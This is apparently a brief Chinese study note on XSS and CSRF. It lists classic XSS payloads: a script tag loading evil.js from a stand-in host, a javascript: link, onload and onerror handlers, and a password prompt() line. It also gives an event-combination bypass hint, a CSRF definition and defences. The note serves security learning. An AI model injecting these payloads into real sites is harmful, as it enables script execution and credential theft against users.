跳到主要内容

XSS与CSRF

xss

本质就是浏览器执行js代码

<script src="http://example.com/evil.js">alert(1)</script>
<a href="javascript:alert('xss')">xss</a>
<body onload="alert('xss')"></body>
<img src=x onerror="alert('xss')">

alert()提示框

confirm()确认框

prompt()输入框

var pwd = prompt('enter your passwd');

事件:

鼠标事件:

  • onclick点击元素
  • onload加载完成
  • onerror加载失败
  • oncontextmenu右键点击
  • onmousedown鼠标按下
  • onmouseover鼠标移到元素上

键盘事件:

  • onkeydown按键按下
  • onkeyup按键松开

绕过:

  • 多事件组合触发

CSRF

“借刀杀人”,利用用户在已登录状态下的身份凭证,发起非用户本意请求的攻击方式。

如何检测CSRF

防护

  • 前端:同源策略校验、敏感操作二次验证、规范请求方法
  • 后端:CSRF Token校验、SameSite Cookie属性、请求头来源验证